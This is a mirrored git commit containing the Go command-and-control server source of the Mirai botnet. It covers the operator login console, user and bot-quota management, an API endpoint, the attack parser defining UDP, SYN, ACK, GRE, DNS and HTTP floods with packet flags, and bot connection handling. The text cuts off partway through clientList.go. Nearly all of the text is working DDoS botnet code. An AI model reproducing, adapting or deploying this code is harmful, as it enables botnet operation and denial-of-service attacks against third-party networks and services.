mirror of
https://github.com/jgamblin/Mirai-Source-Code
synced 2025-11-02 16:43:00 +00:00
Code Upload
Code Upload
This commit is contained in:
269
mirai/cnc/admin.go
Executable file
269
mirai/cnc/admin.go
Executable file
@@ -0,0 +1,269 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
"time"
|
||||
"strings"
|
||||
"io/ioutil"
|
||||
"strconv"
|
||||
)
|
||||
|
||||
type Admin struct {
|
||||
conn net.Conn
|
||||
}
|
||||
|
||||
func NewAdmin(conn net.Conn) *Admin {
|
||||
return &Admin{conn}
|
||||
}
|
||||
|
||||
func (this *Admin) Handle() {
|
||||
this.conn.Write([]byte("\033[?1049h"))
|
||||
this.conn.Write([]byte("\xFF\xFB\x01\xFF\xFB\x03\xFF\xFC\x22"))
|
||||
|
||||
defer func() {
|
||||
this.conn.Write([]byte("\033[?1049l"))
|
||||
}()
|
||||
|
||||
headerb, err := ioutil.ReadFile("prompt.txt")
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
header := string(headerb)
|
||||
this.conn.Write([]byte(strings.Replace(strings.Replace(header, "\r\n", "\n", -1), "\n", "\r\n", -1)))
|
||||
|
||||
// Get username
|
||||
this.conn.SetDeadline(time.Now().Add(60 * time.Second))
|
||||
this.conn.Write([]byte("\033[34;1mпользователь\033[33;3m: \033[0m"))
|
||||
username, err := this.ReadLine(false)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// Get password
|
||||
this.conn.SetDeadline(time.Now().Add(60 * time.Second))
|
||||
this.conn.Write([]byte("\033[34;1mпароль\033[33;3m: \033[0m"))
|
||||
password, err := this.ReadLine(true)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
this.conn.SetDeadline(time.Now().Add(120 * time.Second))
|
||||
this.conn.Write([]byte("\r\n"))
|
||||
spinBuf := []byte{'-', '\\', '|', '/'}
|
||||
for i := 0; i < 15; i++ {
|
||||
this.conn.Write(append([]byte("\r\033[37;1mпроверив счета... \033[31m"), spinBuf[i % len(spinBuf)]))
|
||||
time.Sleep(time.Duration(300) * time.Millisecond)
|
||||
}
|
||||
|
||||
var loggedIn bool
|
||||
var userInfo AccountInfo
|
||||
if loggedIn, userInfo = database.TryLogin(username, password); !loggedIn {
|
||||
this.conn.Write([]byte("\r\033[32;1mпроизошла неизвестная ошибка\r\n"))
|
||||
this.conn.Write([]byte("\033[31mнажмите любую клавишу для выхода. (any key)\033[0m"))
|
||||
buf := make([]byte, 1)
|
||||
this.conn.Read(buf)
|
||||
return
|
||||
}
|
||||
|
||||
this.conn.Write([]byte("\r\n\033[0m"))
|
||||
this.conn.Write([]byte("[+] DDOS | Succesfully hijacked connection\r\n"))
|
||||
time.Sleep(250 * time.Millisecond)
|
||||
this.conn.Write([]byte("[+] DDOS | Masking connection from utmp+wtmp...\r\n"))
|
||||
time.Sleep(500 * time.Millisecond)
|
||||
this.conn.Write([]byte("[+] DDOS | Hiding from netstat...\r\n"))
|
||||
time.Sleep(150 * time.Millisecond)
|
||||
this.conn.Write([]byte("[+] DDOS | Removing all traces of LD_PRELOAD...\r\n"))
|
||||
for i := 0; i < 4; i++ {
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
this.conn.Write([]byte(fmt.Sprintf("[+] DDOS | Wiping env libc.poison.so.%d\r\n", i + 1)))
|
||||
}
|
||||
this.conn.Write([]byte("[+] DDOS | Setting up virtual terminal...\r\n"))
|
||||
time.Sleep(1 * time.Second)
|
||||
|
||||
go func() {
|
||||
i := 0
|
||||
for {
|
||||
var BotCount int
|
||||
if clientList.Count() > userInfo.maxBots && userInfo.maxBots != -1 {
|
||||
BotCount = userInfo.maxBots
|
||||
} else {
|
||||
BotCount = clientList.Count()
|
||||
}
|
||||
|
||||
time.Sleep(time.Second)
|
||||
if _, err := this.conn.Write([]byte(fmt.Sprintf("\033]0;%d Bots Connected | %s\007", BotCount, username))); err != nil {
|
||||
this.conn.Close()
|
||||
break
|
||||
}
|
||||
i++
|
||||
if i % 60 == 0 {
|
||||
this.conn.SetDeadline(time.Now().Add(120 * time.Second))
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
this.conn.Write([]byte("\033[37;1m[!] Sharing access IS prohibited!\r\n[!] Do NOT share your credentials!\r\n\033[36;1mReady\r\n"))
|
||||
for {
|
||||
var botCatagory string
|
||||
var botCount int
|
||||
this.conn.Write([]byte("\033[32;1m" + username + "@botnet# \033[0m"))
|
||||
cmd, err := this.ReadLine(false)
|
||||
if err != nil || cmd == "exit" || cmd == "quit" {
|
||||
return
|
||||
}
|
||||
if cmd == "" {
|
||||
continue
|
||||
}
|
||||
botCount = userInfo.maxBots
|
||||
|
||||
if userInfo.admin == 1 && cmd == "adduser" {
|
||||
this.conn.Write([]byte("Enter new username: "))
|
||||
new_un, err := this.ReadLine(false)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
this.conn.Write([]byte("Enter new password: "))
|
||||
new_pw, err := this.ReadLine(false)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
this.conn.Write([]byte("Enter wanted bot count (-1 for full net): "))
|
||||
max_bots_str, err := this.ReadLine(false)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
max_bots, err := strconv.Atoi(max_bots_str)
|
||||
if err != nil {
|
||||
this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the bot count")))
|
||||
continue
|
||||
}
|
||||
this.conn.Write([]byte("Max attack duration (-1 for none): "))
|
||||
duration_str, err := this.ReadLine(false)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
duration, err := strconv.Atoi(duration_str)
|
||||
if err != nil {
|
||||
this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the attack duration limit")))
|
||||
continue
|
||||
}
|
||||
this.conn.Write([]byte("Cooldown time (0 for none): "))
|
||||
cooldown_str, err := this.ReadLine(false)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
cooldown, err := strconv.Atoi(cooldown_str)
|
||||
if err != nil {
|
||||
this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the cooldown")))
|
||||
continue
|
||||
}
|
||||
this.conn.Write([]byte("New account info: \r\nUsername: " + new_un + "\r\nPassword: " + new_pw + "\r\nBots: " + max_bots_str + "\r\nContinue? (y/N)"))
|
||||
confirm, err := this.ReadLine(false)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if confirm != "y" {
|
||||
continue
|
||||
}
|
||||
if !database.CreateUser(new_un, new_pw, max_bots, duration, cooldown) {
|
||||
this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to create new user. An unknown error occured.")))
|
||||
} else {
|
||||
this.conn.Write([]byte("\033[32;1mUser added successfully.\033[0m\r\n"))
|
||||
}
|
||||
continue
|
||||
}
|
||||
if userInfo.admin == 1 && cmd == "botcount" {
|
||||
m := clientList.Distribution()
|
||||
for k, v := range m {
|
||||
this.conn.Write([]byte(fmt.Sprintf("\033[36;1m%s:\t%d\033[0m\r\n", k, v)))
|
||||
}
|
||||
continue
|
||||
}
|
||||
if cmd[0] == '-' {
|
||||
countSplit := strings.SplitN(cmd, " ", 2)
|
||||
count := countSplit[0][1:]
|
||||
botCount, err = strconv.Atoi(count)
|
||||
if err != nil {
|
||||
this.conn.Write([]byte(fmt.Sprintf("\033[31;1mFailed to parse botcount \"%s\"\033[0m\r\n", count)))
|
||||
continue
|
||||
}
|
||||
if userInfo.maxBots != -1 && botCount > userInfo.maxBots {
|
||||
this.conn.Write([]byte(fmt.Sprintf("\033[31;1mBot count to send is bigger then allowed bot maximum\033[0m\r\n")))
|
||||
continue
|
||||
}
|
||||
cmd = countSplit[1]
|
||||
}
|
||||
if userInfo.admin == 1 && cmd[0] == '@' {
|
||||
cataSplit := strings.SplitN(cmd, " ", 2)
|
||||
botCatagory = cataSplit[0][1:]
|
||||
cmd = cataSplit[1]
|
||||
}
|
||||
|
||||
atk, err := NewAttack(cmd, userInfo.admin)
|
||||
if err != nil {
|
||||
this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
|
||||
} else {
|
||||
buf, err := atk.Build()
|
||||
if err != nil {
|
||||
this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
|
||||
} else {
|
||||
if can, err := database.CanLaunchAttack(username, atk.Duration, cmd, botCount, 0); !can {
|
||||
this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
|
||||
} else if !database.ContainsWhitelistedTargets(atk) {
|
||||
clientList.QueueBuf(buf, botCount, botCatagory)
|
||||
} else {
|
||||
fmt.Println("Blocked attack by " + username + " to whitelisted prefix")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (this *Admin) ReadLine(masked bool) (string, error) {
|
||||
buf := make([]byte, 1024)
|
||||
bufPos := 0
|
||||
|
||||
for {
|
||||
n, err := this.conn.Read(buf[bufPos:bufPos+1])
|
||||
if err != nil || n != 1 {
|
||||
return "", err
|
||||
}
|
||||
if buf[bufPos] == '\xFF' {
|
||||
n, err := this.conn.Read(buf[bufPos:bufPos+2])
|
||||
if err != nil || n != 2 {
|
||||
return "", err
|
||||
}
|
||||
bufPos--
|
||||
} else if buf[bufPos] == '\x7F' || buf[bufPos] == '\x08' {
|
||||
if bufPos > 0 {
|
||||
this.conn.Write([]byte(string(buf[bufPos])))
|
||||
bufPos--
|
||||
}
|
||||
bufPos--
|
||||
} else if buf[bufPos] == '\r' || buf[bufPos] == '\t' || buf[bufPos] == '\x09' {
|
||||
bufPos--
|
||||
} else if buf[bufPos] == '\n' || buf[bufPos] == '\x00' {
|
||||
this.conn.Write([]byte("\r\n"))
|
||||
return string(buf[:bufPos]), nil
|
||||
} else if buf[bufPos] == 0x03 {
|
||||
this.conn.Write([]byte("^C\r\n"))
|
||||
return "", nil
|
||||
} else {
|
||||
if buf[bufPos] == '\x1B' {
|
||||
buf[bufPos] = '^';
|
||||
this.conn.Write([]byte(string(buf[bufPos])))
|
||||
bufPos++;
|
||||
buf[bufPos] = '[';
|
||||
this.conn.Write([]byte(string(buf[bufPos])))
|
||||
} else if masked {
|
||||
this.conn.Write([]byte("*"))
|
||||
} else {
|
||||
this.conn.Write([]byte(string(buf[bufPos])))
|
||||
}
|
||||
}
|
||||
bufPos++
|
||||
}
|
||||
return string(buf), nil
|
||||
}
|
||||
92
mirai/cnc/api.go
Executable file
92
mirai/cnc/api.go
Executable file
@@ -0,0 +1,92 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"net"
|
||||
"time"
|
||||
"strings"
|
||||
"strconv"
|
||||
)
|
||||
|
||||
type Api struct {
|
||||
conn net.Conn
|
||||
}
|
||||
|
||||
func NewApi(conn net.Conn) *Api {
|
||||
return &Api{conn}
|
||||
}
|
||||
|
||||
func (this *Api) Handle() {
|
||||
var botCount int
|
||||
var apiKeyValid bool
|
||||
var userInfo AccountInfo
|
||||
|
||||
// Get command
|
||||
this.conn.SetDeadline(time.Now().Add(60 * time.Second))
|
||||
cmd, err := this.ReadLine()
|
||||
if err != nil {
|
||||
this.conn.Write([]byte("ERR|Failed reading line\r\n"))
|
||||
return
|
||||
}
|
||||
passwordSplit := strings.SplitN(cmd, "|", 2)
|
||||
if apiKeyValid, userInfo = database.CheckApiCode(passwordSplit[0]); !apiKeyValid {
|
||||
this.conn.Write([]byte("ERR|API code invalid\r\n"))
|
||||
return
|
||||
}
|
||||
botCount = userInfo.maxBots
|
||||
cmd = passwordSplit[1]
|
||||
if cmd[0] == '-' {
|
||||
countSplit := strings.SplitN(cmd, " ", 2)
|
||||
count := countSplit[0][1:]
|
||||
botCount, err = strconv.Atoi(count)
|
||||
if err != nil {
|
||||
this.conn.Write([]byte("ERR|Failed parsing botcount\r\n"))
|
||||
return
|
||||
}
|
||||
if userInfo.maxBots != -1 && botCount > userInfo.maxBots {
|
||||
this.conn.Write([]byte("ERR|Specified bot count over limit\r\n"))
|
||||
return
|
||||
}
|
||||
cmd = countSplit[1]
|
||||
}
|
||||
|
||||
atk, err := NewAttack(cmd, userInfo.admin)
|
||||
if err != nil {
|
||||
this.conn.Write([]byte("ERR|Failed parsing attack command\r\n"))
|
||||
return
|
||||
}
|
||||
buf, err := atk.Build()
|
||||
if err != nil {
|
||||
this.conn.Write([]byte("ERR|An unknown error occurred\r\n"))
|
||||
return
|
||||
}
|
||||
if database.ContainsWhitelistedTargets(atk) {
|
||||
this.conn.Write([]byte("ERR|Attack targetting whitelisted target\r\n"))
|
||||
return
|
||||
}
|
||||
if can, _ := database.CanLaunchAttack(userInfo.username, atk.Duration, cmd, botCount, 1); !can {
|
||||
this.conn.Write([]byte("ERR|Attack cannot be launched\r\n"))
|
||||
return
|
||||
}
|
||||
|
||||
clientList.QueueBuf(buf, botCount, "")
|
||||
this.conn.Write([]byte("OK\r\n"))
|
||||
}
|
||||
|
||||
func (this *Api) ReadLine() (string, error) {
|
||||
buf := make([]byte, 1024)
|
||||
bufPos := 0
|
||||
|
||||
for {
|
||||
n, err := this.conn.Read(buf[bufPos:bufPos+1])
|
||||
if err != nil || n != 1 {
|
||||
return "", err
|
||||
}
|
||||
if buf[bufPos] == '\r' || buf[bufPos] == '\t' || buf[bufPos] == '\x09' {
|
||||
bufPos--
|
||||
} else if buf[bufPos] == '\n' || buf[bufPos] == '\x00' {
|
||||
return string(buf[:bufPos]), nil
|
||||
}
|
||||
bufPos++
|
||||
}
|
||||
return string(buf), nil
|
||||
}
|
||||
366
mirai/cnc/attack.go
Executable file
366
mirai/cnc/attack.go
Executable file
@@ -0,0 +1,366 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"strconv"
|
||||
"net"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"github.com/mattn/go-shellwords"
|
||||
)
|
||||
|
||||
type AttackInfo struct {
|
||||
attackID uint8
|
||||
attackFlags []uint8
|
||||
attackDescription string
|
||||
}
|
||||
|
||||
type Attack struct {
|
||||
Duration uint32
|
||||
Type uint8
|
||||
Targets map[uint32]uint8 // Prefix/netmask
|
||||
Flags map[uint8]string // key=value
|
||||
}
|
||||
|
||||
type FlagInfo struct {
|
||||
flagID uint8
|
||||
flagDescription string
|
||||
}
|
||||
|
||||
var flagInfoLookup map[string]FlagInfo = map[string]FlagInfo {
|
||||
"len": FlagInfo {
|
||||
0,
|
||||
"Size of packet data, default is 512 bytes",
|
||||
},
|
||||
"rand": FlagInfo {
|
||||
1,
|
||||
"Randomize packet data content, default is 1 (yes)",
|
||||
},
|
||||
"tos": FlagInfo {
|
||||
2,
|
||||
"TOS field value in IP header, default is 0",
|
||||
},
|
||||
"ident": FlagInfo {
|
||||
3,
|
||||
"ID field value in IP header, default is random",
|
||||
},
|
||||
"ttl": FlagInfo {
|
||||
4,
|
||||
"TTL field in IP header, default is 255",
|
||||
},
|
||||
"df": FlagInfo {
|
||||
5,
|
||||
"Set the Dont-Fragment bit in IP header, default is 0 (no)",
|
||||
},
|
||||
"sport": FlagInfo {
|
||||
6,
|
||||
"Source port, default is random",
|
||||
},
|
||||
"dport": FlagInfo {
|
||||
7,
|
||||
"Destination port, default is random",
|
||||
},
|
||||
"domain": FlagInfo {
|
||||
8,
|
||||
"Domain name to attack",
|
||||
},
|
||||
"dhid": FlagInfo {
|
||||
9,
|
||||
"Domain name transaction ID, default is random",
|
||||
},
|
||||
"urg": FlagInfo {
|
||||
11,
|
||||
"Set the URG bit in IP header, default is 0 (no)",
|
||||
},
|
||||
"ack": FlagInfo {
|
||||
12,
|
||||
"Set the ACK bit in IP header, default is 0 (no) except for ACK flood",
|
||||
},
|
||||
"psh": FlagInfo {
|
||||
13,
|
||||
"Set the PSH bit in IP header, default is 0 (no)",
|
||||
},
|
||||
"rst": FlagInfo {
|
||||
14,
|
||||
"Set the RST bit in IP header, default is 0 (no)",
|
||||
},
|
||||
"syn": FlagInfo {
|
||||
15,
|
||||
"Set the ACK bit in IP header, default is 0 (no) except for SYN flood",
|
||||
},
|
||||
"fin": FlagInfo {
|
||||
16,
|
||||
"Set the FIN bit in IP header, default is 0 (no)",
|
||||
},
|
||||
"seqnum": FlagInfo {
|
||||
17,
|
||||
"Sequence number value in TCP header, default is random",
|
||||
},
|
||||
"acknum": FlagInfo {
|
||||
18,
|
||||
"Ack number value in TCP header, default is random",
|
||||
},
|
||||
"gcip": FlagInfo {
|
||||
19,
|
||||
"Set internal IP to destination ip, default is 0 (no)",
|
||||
},
|
||||
"method": FlagInfo {
|
||||
20,
|
||||
"HTTP method name, default is get",
|
||||
},
|
||||
"postdata": FlagInfo {
|
||||
21,
|
||||
"POST data, default is empty/none",
|
||||
},
|
||||
"path": FlagInfo {
|
||||
22,
|
||||
"HTTP path, default is /",
|
||||
},
|
||||
/*"ssl": FlagInfo {
|
||||
23,
|
||||
"Use HTTPS/SSL"
|
||||
},
|
||||
*/
|
||||
"conns": FlagInfo {
|
||||
24,
|
||||
"Number of connections",
|
||||
},
|
||||
"source": FlagInfo {
|
||||
25,
|
||||
"Source IP address, 255.255.255.255 for random",
|
||||
},
|
||||
}
|
||||
|
||||
var attackInfoLookup map[string]AttackInfo = map[string]AttackInfo {
|
||||
"udp": AttackInfo {
|
||||
0,
|
||||
[]uint8 { 2, 3, 4, 0, 1, 5, 6, 7, 25 },
|
||||
"UDP flood",
|
||||
},
|
||||
"vse": AttackInfo {
|
||||
1,
|
||||
[]uint8 { 2, 3, 4, 5, 6, 7 },
|
||||
"Valve source engine specific flood",
|
||||
},
|
||||
"dns": AttackInfo {
|
||||
2,
|
||||
[]uint8 { 2, 3, 4, 5, 6, 7, 8, 9 },
|
||||
"DNS resolver flood using the targets domain, input IP is ignored",
|
||||
},
|
||||
"syn": AttackInfo {
|
||||
3,
|
||||
[]uint8 { 2, 3, 4, 5, 6, 7, 11, 12, 13, 14, 15, 16, 17, 18, 25 },
|
||||
"SYN flood",
|
||||
},
|
||||
"ack": AttackInfo {
|
||||
4,
|
||||
[]uint8 { 0, 1, 2, 3, 4, 5, 6, 7, 11, 12, 13, 14, 15, 16, 17, 18, 25 },
|
||||
"ACK flood",
|
||||
},
|
||||
"stomp": AttackInfo {
|
||||
5,
|
||||
[]uint8 { 0, 1, 2, 3, 4, 5, 7, 11, 12, 13, 14, 15, 16 },
|
||||
"TCP stomp flood",
|
||||
},
|
||||
"greip": AttackInfo {
|
||||
6,
|
||||
[]uint8 {0, 1, 2, 3, 4, 5, 6, 7, 19, 25},
|
||||
"GRE IP flood",
|
||||
},
|
||||
"greeth": AttackInfo {
|
||||
7,
|
||||
[]uint8 {0, 1, 2, 3, 4, 5, 6, 7, 19, 25},
|
||||
"GRE Ethernet flood",
|
||||
},
|
||||
"udpplain": AttackInfo {
|
||||
9,
|
||||
[]uint8 {0, 1, 7},
|
||||
"UDP flood with less options. optimized for higher PPS",
|
||||
},
|
||||
"http": AttackInfo {
|
||||
10,
|
||||
[]uint8 {8, 7, 20, 21, 22, 24},
|
||||
"HTTP flood",
|
||||
},
|
||||
}
|
||||
|
||||
func uint8InSlice(a uint8, list []uint8) bool {
|
||||
for _, b := range list {
|
||||
if b == a {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func NewAttack(str string, admin int) (*Attack, error) {
|
||||
atk := &Attack{0, 0, make(map[uint32]uint8), make(map[uint8]string)}
|
||||
args, _ := shellwords.Parse(str)
|
||||
|
||||
var atkInfo AttackInfo
|
||||
// Parse attack name
|
||||
if len(args) == 0 {
|
||||
return nil, errors.New("Must specify an attack name")
|
||||
} else {
|
||||
if args[0] == "?" {
|
||||
validCmdList := "\033[37;1mAvailable attack list\r\n\033[36;1m"
|
||||
for cmdName, atkInfo := range attackInfoLookup {
|
||||
validCmdList += cmdName + ": " + atkInfo.attackDescription + "\r\n"
|
||||
}
|
||||
return nil, errors.New(validCmdList)
|
||||
}
|
||||
var exists bool
|
||||
atkInfo, exists = attackInfoLookup[args[0]]
|
||||
if !exists {
|
||||
return nil, errors.New(fmt.Sprintf("\033[33;1m%s \033[31mis not a valid attack!", args[0]))
|
||||
}
|
||||
atk.Type = atkInfo.attackID
|
||||
args = args[1:]
|
||||
}
|
||||
|
||||
// Parse targets
|
||||
if len(args) == 0 {
|
||||
return nil, errors.New("Must specify prefix/netmask as targets")
|
||||
} else {
|
||||
if args[0] == "?" {
|
||||
return nil, errors.New("\033[37;1mComma delimited list of target prefixes\r\nEx: 192.168.0.1\r\nEx: 10.0.0.0/8\r\nEx: 8.8.8.8,127.0.0.0/29")
|
||||
}
|
||||
cidrArgs := strings.Split(args[0], ",")
|
||||
if len(cidrArgs) > 255 {
|
||||
return nil, errors.New("Cannot specify more than 255 targets in a single attack!")
|
||||
}
|
||||
for _,cidr := range cidrArgs {
|
||||
prefix := ""
|
||||
netmask := uint8(32)
|
||||
cidrInfo := strings.Split(cidr, "/")
|
||||
if len(cidrInfo) == 0 {
|
||||
return nil, errors.New("Blank target specified!")
|
||||
}
|
||||
prefix = cidrInfo[0]
|
||||
if len(cidrInfo) == 2 {
|
||||
netmaskTmp, err := strconv.Atoi(cidrInfo[1])
|
||||
if err != nil || netmask > 32 || netmask < 0 {
|
||||
return nil, errors.New(fmt.Sprintf("Invalid netmask was supplied, near %s", cidr))
|
||||
}
|
||||
netmask = uint8(netmaskTmp)
|
||||
} else if len(cidrInfo) > 2 {
|
||||
return nil, errors.New(fmt.Sprintf("Too many /'s in prefix, near %s", cidr))
|
||||
}
|
||||
|
||||
ip := net.ParseIP(prefix)
|
||||
if ip == nil {
|
||||
return nil, errors.New(fmt.Sprintf("Failed to parse IP address, near %s", cidr))
|
||||
}
|
||||
atk.Targets[binary.BigEndian.Uint32(ip[12:])] = netmask
|
||||
}
|
||||
args = args[1:]
|
||||
}
|
||||
|
||||
// Parse attack duration time
|
||||
if len(args) == 0 {
|
||||
return nil, errors.New("Must specify an attack duration")
|
||||
} else {
|
||||
if args[0] == "?" {
|
||||
return nil, errors.New("\033[37;1mDuration of the attack, in seconds")
|
||||
}
|
||||
duration, err := strconv.Atoi(args[0])
|
||||
if err != nil || duration == 0 || duration > 3600 {
|
||||
return nil, errors.New(fmt.Sprintf("Invalid attack duration, near %s. Duration must be between 0 and 3600 seconds", args[0]))
|
||||
}
|
||||
atk.Duration = uint32(duration)
|
||||
args = args[1:]
|
||||
}
|
||||
|
||||
// Parse flags
|
||||
for len(args) > 0 {
|
||||
if args[0] == "?" {
|
||||
validFlags := "\033[37;1mList of flags key=val seperated by spaces. Valid flags for this method are\r\n\r\n"
|
||||
for _, flagID := range atkInfo.attackFlags {
|
||||
for flagName, flagInfo := range flagInfoLookup {
|
||||
if flagID == flagInfo.flagID {
|
||||
validFlags += flagName + ": " + flagInfo.flagDescription + "\r\n"
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
validFlags += "\r\nValue of 65535 for a flag denotes random (for ports, etc)\r\n"
|
||||
validFlags += "Ex: seq=0\r\nEx: sport=0 dport=65535"
|
||||
return nil, errors.New(validFlags)
|
||||
}
|
||||
flagSplit := strings.SplitN(args[0], "=", 2)
|
||||
if len(flagSplit) != 2 {
|
||||
return nil, errors.New(fmt.Sprintf("Invalid key=value flag combination near %s", args[0]))
|
||||
}
|
||||
flagInfo, exists := flagInfoLookup[flagSplit[0]]
|
||||
if !exists || !uint8InSlice(flagInfo.flagID, atkInfo.attackFlags) || (admin == 0 && flagInfo.flagID == 25) {
|
||||
return nil, errors.New(fmt.Sprintf("Invalid flag key %s, near %s", flagSplit[0], args[0]))
|
||||
}
|
||||
if flagSplit[1][0] == '"' {
|
||||
flagSplit[1] = flagSplit[1][1:len(flagSplit[1]) - 1]
|
||||
fmt.Println(flagSplit[1])
|
||||
}
|
||||
if flagSplit[1] == "true" {
|
||||
flagSplit[1] = "1"
|
||||
} else if flagSplit[1] == "false" {
|
||||
flagSplit[1] = "0"
|
||||
}
|
||||
atk.Flags[uint8(flagInfo.flagID)] = flagSplit[1]
|
||||
args = args[1:]
|
||||
}
|
||||
if len(atk.Flags) > 255 {
|
||||
return nil, errors.New("Cannot have more than 255 flags")
|
||||
}
|
||||
|
||||
return atk, nil
|
||||
}
|
||||
|
||||
func (this *Attack) Build() ([]byte, error) {
|
||||
buf := make([]byte, 0)
|
||||
var tmp []byte
|
||||
|
||||
// Add in attack duration
|
||||
tmp = make([]byte, 4)
|
||||
binary.BigEndian.PutUint32(tmp, this.Duration)
|
||||
buf = append(buf, tmp...)
|
||||
|
||||
// Add in attack type
|
||||
buf = append(buf, byte(this.Type))
|
||||
|
||||
// Send number of targets
|
||||
buf = append(buf, byte(len(this.Targets)))
|
||||
|
||||
// Send targets
|
||||
for prefix,netmask := range this.Targets {
|
||||
tmp = make([]byte, 5)
|
||||
binary.BigEndian.PutUint32(tmp, prefix)
|
||||
tmp[4] = byte(netmask)
|
||||
buf = append(buf, tmp...)
|
||||
}
|
||||
|
||||
// Send number of flags
|
||||
buf = append(buf, byte(len(this.Flags)))
|
||||
|
||||
// Send flags
|
||||
for key,val := range this.Flags {
|
||||
tmp = make([]byte, 2)
|
||||
tmp[0] = key
|
||||
strbuf := []byte(val)
|
||||
if len(strbuf) > 255 {
|
||||
return nil, errors.New("Flag value cannot be more than 255 bytes!")
|
||||
}
|
||||
tmp[1] = uint8(len(strbuf))
|
||||
tmp = append(tmp, strbuf...)
|
||||
buf = append(buf, tmp...)
|
||||
}
|
||||
|
||||
// Specify the total length
|
||||
if len(buf) > 4096 {
|
||||
return nil, errors.New("Max buffer is 4096")
|
||||
}
|
||||
tmp = make([]byte, 2)
|
||||
binary.BigEndian.PutUint16(tmp, uint16(len(buf) + 2))
|
||||
buf = append(tmp, buf...)
|
||||
|
||||
return buf, nil
|
||||
}
|
||||
37
mirai/cnc/bot.go
Executable file
37
mirai/cnc/bot.go
Executable file
@@ -0,0 +1,37 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"net"
|
||||
"time"
|
||||
)
|
||||
|
||||
type Bot struct {
|
||||
uid int
|
||||
conn net.Conn
|
||||
version byte
|
||||
source string
|
||||
}
|
||||
|
||||
func NewBot(conn net.Conn, version byte, source string) *Bot {
|
||||
return &Bot{-1, conn, version, source}
|
||||
}
|
||||
|
||||
func (this *Bot) Handle() {
|
||||
clientList.AddClient(this)
|
||||
defer clientList.DelClient(this)
|
||||
|
||||
buf := make([]byte, 2)
|
||||
for {
|
||||
this.conn.SetDeadline(time.Now().Add(180 * time.Second))
|
||||
if n,err := this.conn.Read(buf); err != nil || n != len(buf) {
|
||||
return
|
||||
}
|
||||
if n,err := this.conn.Write(buf); err != nil || n != len(buf) {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (this *Bot) QueueBuf(buf []byte) {
|
||||
this.conn.Write(buf)
|
||||
}
|
||||
130
mirai/cnc/clientList.go
Executable file
130
mirai/cnc/clientList.go
Executable file
@@ -0,0 +1,130 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"time"
|
||||
"math/rand"
|
||||
"sync"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
type AttackSend struct {
|
||||
buf []byte
|
||||
count int
|
||||
botCata string
|
||||
}
|
||||
|
||||
type ClientList struct {
|
||||
uid int
|
||||
count int
|
||||
clients map[int]*Bot
|
||||
addQueue chan *Bot
|
||||
delQueue chan *Bot
|
||||
atkQueue chan *AttackSend
|
||||
totalCount chan int
|
||||
cntView chan int
|
||||
distViewReq chan int
|
||||
distViewRes chan map[string]int
|
||||
cntMutex *sync.Mutex
|
||||
}
|
||||
|
||||
func NewClientList() *ClientList {
|
||||
c := &ClientList{0, 0, make(map[int]*Bot), make(chan *Bot, 128), make(chan *Bot, 128), make(chan *AttackSend), make(chan int, 64), make(chan int), make(chan int), make(chan map[string]int), &sync.Mutex{}}
|
||||
go c.worker()
|
||||
go c.fastCountWorker()
|
||||
return c
|
||||
}
|
||||
|
||||
func (this *ClientList) Count() int {
|
||||
this.cntMutex.Lock()
|
||||
defer this.cntMutex.Unlock()
|
||||
|
||||
this.cntView <- 0
|
||||
return <-this.cntView
|
||||
}
|
||||
|
||||
func (this *ClientList) Distribution() map[string]int {
|
||||
this.cntMutex.Lock()
|
||||
defer this.cntMutex.Unlock()
|
||||
this.distViewReq <- 0
|
||||
return <-this.distViewRes
|
||||
}
|
||||
|
||||
func (this *ClientList) AddClient(c *Bot) {
|
||||
this.addQueue <- c
|
||||
}
|
||||
|
||||
func (this *ClientList) DelClient(c *Bot) {
|
||||
this.delQueue <- c
|
||||
fmt.Printf("Deleted client %d - %s - %s\n", c.version, c.source, c.conn.RemoteAddr())
|
||||
}
|
||||
|
||||
func (this *ClientList) QueueBuf(buf []byte, maxbots int, botCata string) {
|
||||
attack := &AttackSend{buf, maxbots, botCata}
|
||||
this.atkQueue <- attack
|
||||
}
|
||||
|
||||
func (this *ClientList) fastCountWorker() {
|
||||
for {
|
||||
select {
|
||||
case delta := <-this.totalCount:
|
||||
this.count += delta
|
||||
break
|
||||
case <-this.cntView:
|
||||
this.cntView <- this.count
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (this *ClientList) worker() {
|
||||
rand.Seed(time.Now().UTC().UnixNano())
|
||||
|
||||
for {
|
||||
select {
|
||||
case add := <-this.addQueue:
|
||||
this.totalCount <- 1
|
||||
this.uid++
|
||||
add.uid = this.uid
|
||||
this.clients[add.uid] = add
|
||||
break
|
||||
case del := <-this.delQueue:
|
||||
this.totalCount <- -1
|
